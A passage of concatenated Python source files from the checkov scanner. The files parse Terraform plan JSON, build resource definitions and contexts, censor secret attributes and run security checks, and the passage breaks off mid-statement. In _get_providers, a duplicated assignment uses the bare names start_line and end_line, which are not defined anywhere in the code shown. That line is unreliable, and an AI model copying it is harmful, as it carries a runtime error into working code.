_get_module_call_resources( module_address=module_address, root_module_conf=root_module_conf, ) for resource in child_module.get("resources", []): module_call_conf = None if module_address and module_call_resources: module_call_conf = next( ( module_call_resource for module_call_resource in module_call_resources if f"{module_address}.{module_call_resource['address']}" == (resource["address"].rsplit('[', 1)[0] if resource["address"][-1] == "]" else resource["address"]) ), None ) resource_block, block_type, prepared = _prepare_resource_block( resource=resource, conf=module_call_conf, resource_changes=resource_changes, ) if prepared is True: if block_type == "resource": blocks["resource"].append(resource_block) elif block_type == "data": blocks["data"].append(resource_block) return blocks def _get_module_call_resources(module_address: str, root_module_conf: dict[str, Any]) -> list[dict[str, Any]]: """Extracts the resources from the 'module_calls' block under 'configuration'""" for module_name in module_address.split("."): if module_name == "module": # module names are always prefixed with 'module.', therefore skip it continue found_root_module_conf = root_module_conf.get("module_calls", {}).get(module_name, {}).get("module", {}) if not found_root_module_conf: sanitized_module_name = _sanitize_count_from_name(module_name) found_root_module_conf = root_module_conf.get("module_calls", {}).get(sanitized_module_name, {}).get("module", {}) root_module_conf = found_root_module_conf return cast("list[dict[str, Any]]", root_module_conf.get("resources", [])) def _sanitize_count_from_name(name: str) -> str: """Sanitize the count from the resource name""" if re.search(COUNT_PATTERN, name): name_parts = re.split(COUNT_PATTERN, name) if len(name_parts) == 2: return name_parts[0] return name def _is_provider_key(key: str) -> bool: """key is a valid provider""" return (key.startswith('module.') or key.startswith('__') or key in {'start_line', 'end_line'}) def _get_providers(template: dict[str, dict[str, Any]]) -> list[dict[str, dict[str, Any]]]: """Returns a list of provider dicts""" # `providers` should be a list of dicts, one dict for each provider: # [ # { # "aws": { # "region": ["us-east-1"], # . . . # } # }, # { # "aws": { # "region": ["us-west-1"], # "alias": ["west"], # . . . # } # } # ] providers: list[dict[str, dict[str, Any]]] = [] provider_config = template.get("configuration", {}).get("provider_config") if provider_config and isinstance(provider_config, dict): for provider_key, provider_data in provider_config.items(): if _is_provider_key(key=provider_key): # Not a provider, skip continue provider_name = provider_data.get("name") provider_alias = provider_data.get("alias", "default") provider_map: dict[str, dict[str, Any]] = {} provider_map[provider_name] = {} provider_map_entry = provider_map[provider_name] for field, value in provider_data.get('expressions', {}).items(): if field in LINE_FIELD_NAMES or not isinstance(value, dict): continue # don't care about line #s or non dicts expression_value = value.get('constant_value', None) if expression_value: if isinstance(expression_value, str): expression_value = [expression_value] provider_map_entry[field] = expression_value provider_map_entry['start_line'] = [provider_data.get(START_LINE, 1) - 1] provider_map_entry['end_line'] = [provider_data.get(END_LINE, 1)] provider_map_entry[start_line] = [provider_data.get(START_LINE, 1) - 1] provider_map_entry[end_line] = [provider_data.get(END_LINE, 1)] provider_map_entry['alias'] = [provider_alias] provider_map_entry[TF_PLAN_RESOURCE_ADDRESS] = f"{provider_name}.{provider_alias}" providers.append(provider_map) return providers def _get_resource_changes(template: dict[str, Any]) -> dict[str, dict[str, Any]]: """Returns a resource address to resource changes dict""" resource_changes_map = {} resource_changes = template.get("resource_changes") if resource_changes and isinstance(resource_changes, list): for resource in resource_changes: resource_changes_map[resource["address"]] = resource changes = [] # before + after are None when resources are created/destroyed, so make them safe change_before = resource["change"]["before"] or {} change_after = resource["change"]["after"] or {} for field, value in change_before.items(): if field in LINE_FIELD_NAMES: continue # don't care about line #s if value != change_after.get(field): changes.append(field) resource_changes_map[resource["address"]][TF_PLAN_RESOURCE_CHANGE_KEYS] = changes return resource_changes_map def _add_references(obj: dict[str, Any], conf: dict[str, Any], return_resource: dict[str, Any]) -> None: """Adds references to the resources in the TF plan definition""" for conf_key, conf_value in conf.items(): if not isinstance(conf_value, dict) or "references" not in conf_value: # only interested in dict with a "references" key continue ref = next((x for x in conf_value["references"] or [] if not x.startswith(("var.", "local."))), None) if ref: if conf_key not in obj: return_resource[conf_key] = [ref] elif obj[conf_key] is None: return_resource[conf_key] = [ref] elif isinstance(obj[conf_key], list) and any(obj_value is None for obj_value in obj[conf_key]): return_resource[conf_key] = [[obj_value for obj_value in obj[conf_key] if obj_value is not None] + [ref]] return_resource.setdefault(CustomAttributes.REFERENCES, []).append(conf_value["references"]) def parse_tf_plan(tf_plan_file: str, out_parsing_errors: Dict[str, str]) -> Tuple[Optional[Dict[str, Any]], Optional[List[Tuple[int, str]]]]: """ :type tf_plan_file: str - path to plan file :rtype: tf_definition dictionary and template_lines of the plan file """ tf_definition: Dict[str, Any] = {"provider": [], "resource": [], "data": []} template, template_lines = parse(tf_plan_file, out_parsing_errors) if not template: return None, None tf_definition["provider"] = _get_providers(template=template) resource_changes = _get_resource_changes(template=template) for resource in template.get("planned_values", {}).get("root_module", {}).get("resources", []): conf = next( ( x for x in template.get("configuration", {}).get("root_module", {}).get("resources", []) if x["type"] == resource["type"] and x["name"] == resource["name"] ), None, ) resource_block, block_type, prepared = _prepare_resource_block( resource=resource, conf=conf, resource_changes=resource_changes, ) if prepared is True: if block_type == "resource": tf_definition["resource"].append(resource_block) elif block_type == "data": tf_definition["data"].append(resource_block) child_modules = template.get("planned_values", {}).get("root_module", {}).get("child_modules", []) root_module_conf = template.get("configuration", {}).get("root_module", {}) # Terraform supports modules within modules so we need to search # in nested modules to find all resource blocks module_blocks = _find_child_modules( child_modules=child_modules, resource_changes=resource_changes, root_module_conf=root_module_conf, ) for block_type, resource_blocks in module_blocks.items(): tf_definition[block_type].extend(resource_blocks) return tf_definition, template_lines def _clean_simple_type_list(value_list: List[Any]) -> List[Any]: """ Given a list of simple types return a cleaned list of simple types. Converts booleans that are input as strings back to booleans to maintain consistent expectations for later evaluation. Sometimes Terraform Plan will output Map values as strings regardless of boolean input. """ for i in range(len(value_list)): if isinstance(value_list[i], str): lower_case_value = value_list[i].lower() if lower_case_value == "true": value_list[i] = True if lower_case_value == "false": value_list[i] = False return value_list def _get_provisioner(input_data: List[Dict[str, Any]]) -> List[Dict[str, Dict[str, Any]]]: result = [] for item in input_data: if 'type' in item and 'expressions' in item: key = item['type'] expressions = item['expressions'] transformed_expressions = {} if key == 'local-exec': if 'command' in expressions: command_value = expressions['command'] if not isinstance(command_value, list): command_value = [command_value] transformed_expressions['command'] = command_value for field, value in expressions.items(): if field != 'command': transformed_expressions[field] = value else: transformed_expressions = expressions transformed_item = {key: transformed_expressions} result.append(transformed_item) return result ================================================ FILE: checkov/terraform/plan_runner.py ================================================ from __future__ import annotations import logging import os import platform import pathlib from typing import Type, Optional, Any, cast from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import LibraryGraphConnector, TFDefinitionKeyType from checkov.common.graph.graph_builder.consts import GraphSource from checkov.terraform.modules.module_objects import TFDefinitionKey from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.common.output.record import Record from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.report import Report, merge_reports from checkov.runner_filter import RunnerFilter from checkov.terraform.base_runner import BaseTerraformRunner from checkov.terraform.checks.data.registry import data_registry from checkov.terraform.checks.provider.registry import provider_registry from checkov.terraform.checks.resource.registry import resource_registry from checkov.terraform.context_parsers.registry import parser_registry from checkov.terraform.plan_parser import TF_PLAN_RESOURCE_ADDRESS from checkov.terraform.plan_utils import create_definitions, build_definitions_context, get_entity_id from checkov.terraform.deep_analysis_plan_graph_manager import DeepAnalysisGraphManager _TerraformPlanContext: TypeAlias = "dict[str, dict[str, Any]]" _TerraformPlanDefinitions: TypeAlias = "dict[str, dict[str, Any]]" # set of check IDs with lifecycle condition TF_LIFECYCLE_CHECK_IDS = { "CKV_AWS_217", "CKV_AWS_233", "CKV_AWS_237", "CKV_GCP_82", } RESOURCE_ATTRIBUTES_TO_OMIT = { 'aws_db_instance': ['password'], 'aws_secretsmanager_secret_version': ['secret_string'], 'aws_ssm_parameter': ['value'], 'azurerm_container_registry': ['admin_password'], 'azurerm_key_vault_secret': ['value'], 'azurerm_linux_virtual_machine': ['admin_password'], 'azurerm_mssql_managed_instance_vulnerability_assessment': ['storage_container_path'], 'azurerm_mssql_server': ['administrator_login_password'], 'azurerm_mssql_server_vulnerability_assessment': ['storage_container_path'], 'azurerm_redis_cache': ['primary_access_key', 'secondary_access_key', 'primary_connection_string', 'secondary_connection_string'], 'azurerm_sql_server': ['administrator_login_password'], 'azurerm_sql_managed_instance': ['administrator_login_password'], 'azurerm_storage_account': ['primary_access_key', 'secondary_access_key', 'primary_blob_connection_string', 'secondary_blob_connection_string', 'primary_blob_endpoint', 'primary_blob_host', 'secondary_blob_endpoint', 'secondary_blob_host', 'primary_connection_string', 'secondary_connection_string'], 'azurerm_synapse_workspace_vulnerability_assessment': ['storage_container_path'], 'azurerm_synapse_sql_pool_vulnerability_assessment': ['storage_container_path'], 'azurerm_virtual_machine': ['admin_password'], 'azurerm_windows_virtual_machine': ['admin_password'], 'google_kms_secret_ciphertext': ['plaintext'] } class Runner(BaseTerraformRunner[_TerraformPlanDefinitions, _TerraformPlanContext, str]): check_type = CheckType.TERRAFORM_PLAN # noqa: CCE003 # a static attribute def __init__(self, graph_class: Type[TerraformLocalGraph] = TerraformLocalGraph, graph_manager: TerraformGraphManager | None = None, db_connector: LibraryGraphConnector | None = None, external_registries: list[BaseRegistry] | None = None, source: str = GraphSource.TERRAFORM) -> None: super().__init__( graph_class=graph_class, graph_manager=graph_manager, db_connector=db_connector, external_registries=external_registries, source=source, ) self.file_extensions = ['.json'] # override what gets set from the TF runner self.definitions: _TerraformPlanDefinitions | None = None self.context: _TerraformPlanContext | None = None self.graph_registry = get_graph_checks_registry(check_type=CheckType.TERRAFORM) self.deep_analysis = False self.repo_root_for_plan_enrichment: str | None = None self.tf_plan_local_graph: TerraformLocalGraph | None = None block_type_registries = { # noqa: CCE003 # a static attribute 'resource': resource_registry, 'data': data_registry, 'provider': provider_registry } def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() # Update resource_attr_to_omit according to plan runner hardcoded RESOURCE_ATTRIBUTES_TO_OMIT self._extend_resource_attributes_to_omit(runner_filter) self.deep_analysis = runner_filter.deep_analysis if runner_filter.repo_root_for_plan_enrichment: self.repo_root_for_plan_enrichment = os.path.abspath(runner_filter.repo_root_for_plan_enrichment[0]) report = Report(self.check_type) parsing_errors: dict[str, str] = {} tf_local_graph: Optional[TerraformLocalGraph] = None if self.definitions is None or self.context is None: self.definitions, definitions_raw = create_definitions(root_folder, files, runner_filter, parsing_errors) self.context = build_definitions_context(self.definitions, definitions_raw) self.tf_plan_local_graph = self.graph_manager.build_graph_from_definitions(self.definitions, render_variables=False) for vertex in self.tf_plan_local_graph.vertices: if vertex.block_type == BlockType.RESOURCE: address = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) report.add_resource(f'{vertex.path}:{address}') self.graph_manager.save_graph(self.tf_plan_local_graph) if self._should_run_deep_analysis: tf_local_graph = self._create_terraform_graph(runner_filter) if external_checks_dir: for directory in external_checks_dir: resource_registry.load_external_checks(directory) self.graph_registry.load_external_checks(directory) if not root_folder: # 'root_folder' and 'files' can't be both empty root_folder = os.path.split(os.path.commonprefix(files))[0] # type:ignore[arg-type] self.check_tf_definition(report, root_folder, runner_filter) report.add_parsing_errors(parsing_errors.keys()) if self.definitions: graph_report = self._get_graph_report( root_folder=root_folder, runner_filter=runner_filter, tf_local_graph=tf_local_graph ) merge_reports(report, graph_report) if runner_filter.run_image_referencer: image_report = self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=root_folder, runner_filter=runner_filter, ) if image_report: # due too many tests failing only return a list, if there is an image report return [report, image_report] return report @staticmethod def _extend_resource_attributes_to_omit(runner_filter: RunnerFilter) -> None: for k, v in RESOURCE_ATTRIBUTES_TO_OMIT.items(): # It's ok as runner_filter is ALWAYS default dict with set() as value runner_filter.resource_attr_to_omit[k].update(v) def _get_graph_report( self, root_folder: str, runner_filter: RunnerFilter, tf_local_graph: Optional[TerraformLocalGraph] ) -> Report: if self._should_run_deep_analysis and tf_local_graph and self.tf_plan_local_graph: deep_analysis_graph_manager = DeepAnalysisGraphManager(tf_local_graph, self.tf_plan_local_graph) deep_analysis_graph_manager.enrich_tf_graph_attributes() self.graph_manager.save_graph(tf_local_graph) graph_report = self.get_graph_checks_report(root_folder, runner_filter) deep_analysis_graph_manager.filter_report(graph_report) return graph_report return self.get_graph_checks_report(root_folder, runner_filter) def _create_terraform_graph(self, runner_filter: RunnerFilter) -> TerraformLocalGraph: graph_manager = TerraformGraphManager(db_connector=self.db_connector) tf_local_graph, _ = graph_manager.build_graph_from_source_directory( self.repo_root_for_plan_enrichment, # type:ignore[arg-type] # can't be 'None' at this point render_variables=True, download_external_modules=runner_filter.download_external_modules ) self.graph_manager = graph_manager return tf_local_graph def check_tf_definition( self, report: Report, root_folder: str, runner_filter: RunnerFilter, collect_skip_comments: bool = True ) -> None: if not self.definitions: return for full_file_path, definition in self.definitions.items(): full_file_path, scanned_file = self._get_file_path(full_file_path, root_folder) logging.debug(f"Scanning file: {scanned_file}") for block_type in definition.keys(): if block_type in self.block_type_registries.keys(): self.run_block(definition[block_type], self.context, full_file_path, root_folder, report, scanned_file, block_type, runner_filter) @staticmethod def _get_file_path(full_file_path: TFDefinitionKeyType, root_folder: str | pathlib.Path) -> tuple[str, str]: if isinstance(full_file_path, TFDefinitionKey): # It might be str for terraform-plan files full_file_path = full_file_path.file_path if platform.system() == "Windows": temp = os.path.split(full_file_path)[0] scanned_file = f"/{os.path.relpath(full_file_path, temp)}" else: scanned_file = f"/{os.path.relpath(full_file_path, root_folder)}" return full_file_path, scanned_file def run_block( self, entities: list[dict[str, Any]], definition_context: _TerraformPlanContext | None, full_file_path: str, root_folder: str, report: Report, scanned_file: str, block_type: str, runner_filter: RunnerFilter | None = None, entity_context_path_header: str | None = None, module_referrer: str | None = None, ) -> None: runner_filter = runner_filter or RunnerFilter() registry = self.block_type_registries[block_type] if registry: for entity in entities: context_parser = parser_registry.context_parsers[block_type] definition_path = context_parser.get_entity_context_path(entity) # Entity can exist only once per dir, for file as well entity_context = self.get_entity_context(definition_path, full_file_path, entity) entity_lines_range = [entity_context.get('start_line', 1), entity_context.get('end_line', 1)] entity_code_lines = entity_context.get('code_lines', []) _, _, entity_config = registry.extract_entity_details(entity) entity_address = entity_context.get('address') or entity_context.get(CustomAttributes.TF_RESOURCE_ADDRESS) if not entity_address: logging.warning('tf plan resource address should not be empty') continue self._assign_graph_to_registry(registry) results = registry.scan(scanned_file, entity, [], runner_filter, report_type=CheckType.TERRAFORM_PLAN) for check, check_result in results.items(): if check.id in TF_LIFECYCLE_CHECK_IDS: # can't be evaluated in TF plan continue censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=entity_config, resource_attributes_to_omit=runner_filter.resource_attr_to_omit ) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=scanned_file, file_line_range=entity_lines_range, resource=entity_address, resource_address=entity_address, evaluations=None, check_class=check.__class__.__module__, file_abs_path=full_file_path, severity=check.severity, details=check.details, ) record.set_guideline(check.guideline) report.add_record(record=record) def _assign_graph_to_registry(self, registry: BaseCheckRegistry) -> None: try: registry.graph = self.graph_manager.db_connector.graph # type: ignore except Exception as e: logging.debug(f'fail to assign graph to the registry, err: {e}') registry.graph = None return def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None: if not self.context: return None entity_id = entity[TF_PLAN_RESOURCE_ADDRESS] raw_context: dict[str, Any] | None = self.context.get(entity[CustomAttributes.FILE_PATH], {}).get(entity_id) if raw_context: raw_context['definition_path'] = entity[CustomAttributes.BLOCK_NAME].split('.') return raw_context def get_entity_context(self, definition_path: list[str], full_file_path: str, entity: dict[str, Any]) -> dict[str, Any]: if not self.context: return {} if len(definition_path) > 1: resource_type = definition_path[0] resource_name = definition_path[1] resource_type_dict = entity.get(resource_type, {}) entity_id = get_entity_id(resource_type_dict, resource_name) else: entity_id = definition_path[0] return cast("dict[str, Any]", self.context.get(full_file_path, {}).get(entity_id, {})) @property def _should_run_deep_analysis(self) -> bool: return bool(self.deep_analysis and self.repo_root_for_plan_enrichment and self.tf_plan_local_graph) ================================================ FILE: checkov/terraform/plan_utils.py ================================================ from __future__ import annotations from collections import defaultdict import json import logging import os from typing import Dict, List, Tuple, Any from charset_normalizer import from_fp from checkov.terraform.context_parsers.registry import parser_registry from checkov.terraform.plan_parser import parse_tf_plan, TF_PLAN_RESOURCE_ADDRESS from checkov.common.runners.base_runner import filter_ignored_paths from checkov.runner_filter import RunnerFilter def create_definitions( root_folder: str | None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, out_parsing_errors: dict[str, str] | None = None, ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: runner_filter = runner_filter or RunnerFilter() out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors if root_folder: files = [] if not files else files for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, runner_filter.excluded_paths) filter_ignored_paths(root, f_names, runner_filter.excluded_paths) for file in f_names: file_ending = os.path.splitext(file)[1] if file != 'tsconfig.json' and file_ending == '.json': file_path = os.path.join(root, file) try: with open(file_path, "rb") as f: try: content = json.load(f) except UnicodeDecodeError: logging.debug(f"Encoding for file {file_path} is not UTF-8, trying to detect it") content = str(from_fp(f).best()) if isinstance(content, dict) and content.get('terraform_version'): files.append(file_path) except Exception as e: logging.debug(f'Failed to load json file {file_path}, skipping', stack_info=True) out_parsing_errors[file_path] = str(e) tf_definitions = {} definitions_raw = {} if files: files = [os.path.realpath(file) for file in files] for file in files: if file.endswith(".json"): current_tf_definitions, current_definitions_raw = parse_tf_plan(file, out_parsing_errors) if current_tf_definitions and current_definitions_raw: tf_definitions[file] = current_tf_definitions definitions_raw[file] = current_definitions_raw else: logging.debug(f'Failed to load {file} as is not a .json file, skipping') return tf_definitions, definitions_raw def build_definitions_context( definitions: dict[str, dict[str, list[dict[str, Any]]]], definitions_raw: Dict[str, List[Tuple[int, str]]] ) -> Dict[str, Dict[str, Any]]: definitions_context: dict[str, dict[str, Any]] = defaultdict(dict) supported_block_types = ("data", "resource", "provider") for full_file_path, definition in definitions.items(): for block_type in supported_block_types: entities = definition.get(block_type, []) for entity in entities: context_parser = parser_registry.context_parsers[block_type] definition_path = context_parser.get_entity_context_path(entity) entity_id: str if len(definition_path) > 1: resource_type = definition_path[0] resource_name = definition_path[1] resource_type_dict = entity.get(resource_type, {}) try: entity_id = get_entity_id(resource_type_dict, resource_name) except Exception as e: logging.error(str(e)) continue else: entity_id = definition_path[0] # Entity can exist only once per dir, for file as well entity_context = get_entity_context( definitions=definitions, definitions_raw=definitions_raw, definition_path=definition_path, full_file_path=full_file_path, entity_id=entity_id, block_type=block_type, ) definitions_context[full_file_path][entity_id] = entity_context return definitions_context def get_entity_id(resource_type_dict: dict[str, Any], resource_name: str) -> str: resource_dict = resource_type_dict.get(resource_name, resource_type_dict) if isinstance(resource_dict, dict): entity_id = resource_dict.get(TF_PLAN_RESOURCE_ADDRESS) else: entity_id = resource_type_dict.get(TF_PLAN_RESOURCE_ADDRESS) if not entity_id: raise Exception(f'Failed get_entity_id: {resource_name} does not have {TF_PLAN_RESOURCE_ADDRESS}') return str(entity_id) def get_entity_context( definitions: dict[str, dict[str, list[dict[str, Any]]]], definitions_raw: dict[str, list[tuple[int, str]]], definition_path: list[str], full_file_path: str, entity_id: str, block_type: str = "resource", ) -> dict[str, Any]: entity_context: dict[str, Any] = {} if full_file_path not in definitions: logging.debug( f'Tried to look up file {full_file_path} in TF plan entity definitions, but it does not exist') return entity_context for resource in definitions.get(full_file_path, {}).get(block_type, []): resource_type = definition_path[0] resource_type_dict = resource.get(resource_type) if not resource_type_dict: continue resource_name = definition_path[1] resource_definition = resource_type_dict.get(resource_name, resource_type_dict) if not isinstance(resource_definition, dict): entity_context = build_entity_context(resource_type_dict) entity_context["code_lines"] = definitions_raw[full_file_path][entity_context["start_line"]: entity_context["end_line"]] return entity_context elif resource_definition and resource_definition.get(TF_PLAN_RESOURCE_ADDRESS) == entity_id: entity_context = build_entity_context(resource_definition) entity_context["code_lines"] = definitions_raw[full_file_path][entity_context["start_line"]: entity_context["end_line"]] return entity_context return entity_context def build_entity_context(resource_dict: dict[str, Any]) -> dict[str, Any]: entity_context: dict[str, Any] = {} entity_context['start_line'] = resource_dict['start_line'][0] entity_context['end_line'] = resource_dict['end_line'][0] entity_context['address'] = resource_dict[TF_PLAN_RESOURCE_ADDRESS] return entity_context def get_resource_id_without_nested_modules(address: str) -> str: """ return resource id with the last module in the address example: from address='module.name1.module.name2.type.name' return 'module: module.name2.type.name' """ return ".".join(address.split(".")[-4:]) ================================================ FILE: checkov/terraform/runner.py ================================================ from __future__ import annotations import dataclasses import logging import os from typing import Any, TYPE_CHECKING, Optional from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.output.extra_resource import ExtraResource from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.output.graph_record import GraphRecord from checkov.common.output.record import Record from checkov.common.output.report import Report, merge_reports, remove_duplicate_results from checkov.common.util import data_structures_utils from checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME from checkov.terraform import get_module_from_full_path, get_module_name, get_abs_path from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.runner_filter import RunnerFilter from checkov.terraform.base_runner import BaseTerraformRunner from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform.modules.module_objects import TFDefinitionKey, TFModule from checkov.terraform.context_parsers.registry import parser_registry from checkov.terraform.evaluation.base_variable_evaluation import BaseVariableEvaluation from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.tag_providers import get_resource_tags from checkov.common.runners.base_runner import strtobool from checkov.terraform.tf_parser import TFParser from checkov.common.util.env_vars_config import env_vars_config if TYPE_CHECKING: from checkov.common.typing import _SkippedCheck, LibraryGraph, LibraryGraphConnector _TerraformContext: TypeAlias = "dict[TFDefinitionKey, dict[str, Any]]" _TerraformDefinitions: TypeAlias = "dict[TFDefinitionKey, dict[str, Any]]" CHECK_BLOCK_TYPES = frozenset(["resource", "data", "provider", "module"]) class Runner(BaseTerraformRunner[_TerraformDefinitions, _TerraformContext, TFDefinitionKey]): check_type = CheckType.TERRAFORM # noqa: CCE003 # a static attribute def __init__( self, parser: TFParser | None = None, db_connector: LibraryGraphConnector | None = None, external_registries: list[BaseRegistry] | None = None, source: str = GraphSource.TERRAFORM, graph_class: type[TerraformLocalGraph] = TerraformLocalGraph, graph_manager: TerraformGraphManager | None = None, ) -> None: super().__init__(parser, db_connector, external_registries, source, graph_class, graph_manager) self.all_graphs: list[tuple[LibraryGraph, Optional[str]]] = [] def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) parsing_errors: dict[str, Exception] = {} self.load_external_checks(external_checks_dir) if self.context is None or self.definitions is None or self.breadcrumbs is None: self.definitions = {} logging.info("Scanning root folder and producing fresh tf_definitions and context") tf_split_graph = strtobool(os.getenv("TF_SPLIT_GRAPH", "False")) if root_folder: root_folder = os.path.abspath(root_folder) if tf_split_graph: graphs_with_definitions, self.resource_subgraph_map = self.graph_manager.build_multi_graph_from_source_directory( source_dir=root_folder, local_graph_class=self.graph_class, download_external_modules=runner_filter.download_external_modules, external_modules_download_path=runner_filter.external_modules_download_path, parsing_errors=parsing_errors, excluded_paths=runner_filter.excluded_paths, vars_files=runner_filter.var_files, ) local_graphs: list[tuple[str | None, TerraformLocalGraph]] = [] for graph, definitions, subgraph_path in graphs_with_definitions: for definition in definitions: self.definitions.update(definition) local_graphs.append((subgraph_path, graph)) else: single_graph, self.definitions = self.graph_manager.build_graph_from_source_directory( source_dir=root_folder, local_graph_class=self.graph_class, download_external_modules=runner_filter.download_external_modules, parsing_errors=parsing_errors, excluded_paths=runner_filter.excluded_paths, external_modules_download_path=runner_filter.external_modules_download_path, vars_files=runner_filter.var_files, ) # Make graph a list to allow single processing method for all cases local_graphs = [(None, single_graph)] elif files: files = [os.path.abspath(file) for file in files] root_folder = os.path.split(os.path.commonprefix(files))[0] self._parse_files(files, parsing_errors) if tf_split_graph: local_graphs = self.graph_manager.build_multi_graph_from_definitions(self.definitions) else: # local_graph needs to be a list to allow supporting multi graph local_graphs = [(None, self.graph_manager.build_graph_from_definitions(self.definitions))] else: raise Exception("Root directory was not specified, files were not specified") if local_graphs: self._update_definitions_and_breadcrumbs( local_graphs, report, root_folder) else: logging.info("Scanning root folder using existing tf_definitions") if root_folder is None and files is None: # this shouldn't happen raise Exception("Root directory was not specified") self.pbar.initiate(len(self.definitions)) self.check_tf_definition(report, root_folder, runner_filter, collect_skip_comments) report.add_parsing_errors(parsing_errors.keys()) if self.all_graphs: for single_graph, _ in self.all_graphs: # type: ignore # Due to issue with rustworkx typing graph_report = self.get_graph_checks_report(root_folder, runner_filter, graph=single_graph) merge_reports(report, graph_report) else: graph_report = self.get_graph_checks_report(root_folder, runner_filter) merge_reports(report, graph_report) report = remove_duplicate_results(report) if runner_filter.run_image_referencer: image_report = self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=root_folder, runner_filter=runner_filter, ) if image_report: # due too many tests failing only return a list, if there is an image report return [report, image_report] return report def _parse_files(self, files: list[str], parsing_errors: dict[str, Exception]) -> None: if self.definitions is None: # just make sure it is not 'None' self.definitions = {} results = parallel_runner.run_function(self.parse_file, files) for result in results: if result: file, parse_result, file_parsing_errors = result if parse_result is not None: self.definitions[TFDefinitionKey(file_path=file)] = parse_result if file_parsing_errors: parsing_errors.update(file_parsing_errors) def parse_file(self, file: str) -> tuple[str, dict[str, Any] | None, dict[str, Exception]] | None: if not (file.endswith(".tf") or file.endswith(".hcl")): return None file_parsing_errors: dict[str, Exception] = {} parse_result = self.parser.parse_file(file=file, parsing_errors=file_parsing_errors) # the exceptions type can un-pickleable so we need to cast them to Exception for path, e in file_parsing_errors.items(): file_parsing_errors[path] = Exception(e.__repr__()) return file, parse_result, file_parsing_errors def _update_definitions_and_breadcrumbs( self, local_graphs: list[tuple[Optional[str], TerraformLocalGraph]], report: Report, root_folder: str ) -> None: self.definitions = {} self.breadcrumbs = {} self.all_graphs = [] for subgraph_path, local_graph in local_graphs: for vertex in local_graph.vertices: if vertex.block_type == BlockType.RESOURCE: vertex_id = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) report.add_resource(f"{vertex.path}:{vertex_id}") graph = self.graph_manager.save_graph(local_graph) self.all_graphs.append((graph, subgraph_path)) current_definitions, current_breadcrumbs = convert_graph_vertices_to_tf_definitions( local_graph.vertices, root_folder, ) self.definitions.update(current_definitions) self.breadcrumbs.update(current_breadcrumbs) def check_tf_definition( self, report: Report, root_folder: str | None, runner_filter: RunnerFilter, collect_skip_comments: bool = True, ) -> None: parser_registry.reset_definitions_context() if not self.definitions: # nothing to do self.pbar.update() self.pbar.close() return if not self.context: definitions_context = {} for definition_key_tuple in self.definitions.items(): definitions_context = parser_registry.enrich_definitions_context( definitions=definition_key_tuple, collect_skip_comments=collect_skip_comments ) self.context = definitions_context logging.debug("Created definitions context") self.push_skipped_checks_down_from_modules(self.context) for full_file_path, definition in self.definitions.items(): self.pbar.set_additional_data({"Current File Scanned": os.path.relpath(full_file_path.file_path)}) abs_scanned_file = get_abs_path(full_file_path) abs_referrer = None scanned_file = f"{os.sep}{os.path.relpath(abs_scanned_file, root_folder)}" logging.debug(f"Scanning file: {scanned_file}") self.run_all_blocks( definition, self.context, full_file_path, root_folder, report, scanned_file, runner_filter, abs_referrer ) self.pbar.update() self.pbar.close() def push_skipped_checks_down_from_modules(self, definition_context: dict[TFDefinitionKey, dict[str, Any]]) -> None: if not self.definitions: # no need to proceed return module_context_parser = parser_registry.context_parsers[BlockType.MODULE] for tf_definition_key, definition in self.definitions.items(): full_file_path = tf_definition_key definition_modules_context = definition_context.get(full_file_path, {}).get(BlockType.MODULE, {}) for entity in definition.get(BlockType.MODULE, []): module_name = module_context_parser.get_entity_context_path(entity)[0] skipped_checks = definition_modules_context.get(module_name, {}).get("skipped_checks") resolved_paths = entity.get(module_name).get(RESOLVED_MODULE_ENTRY_NAME) self.push_skipped_checks_down(definition_context, skipped_checks, resolved_paths) def push_skipped_checks_down( self, definition_context: dict[TFDefinitionKey, dict[str, Any]], skipped_checks: list[_SkippedCheck], resolved_paths: list[TFDefinitionKey], ) -> None: # this method pushes the skipped_checks down the 1 level to all resource types. if not skipped_checks or not resolved_paths: return for ind, definition in enumerate(resolved_paths): for block_type, block_configs in definition_context.get(definition, {}).items(): # skip if type is not a Terraform resource if block_type not in CHECK_BLOCK_TYPES: continue if 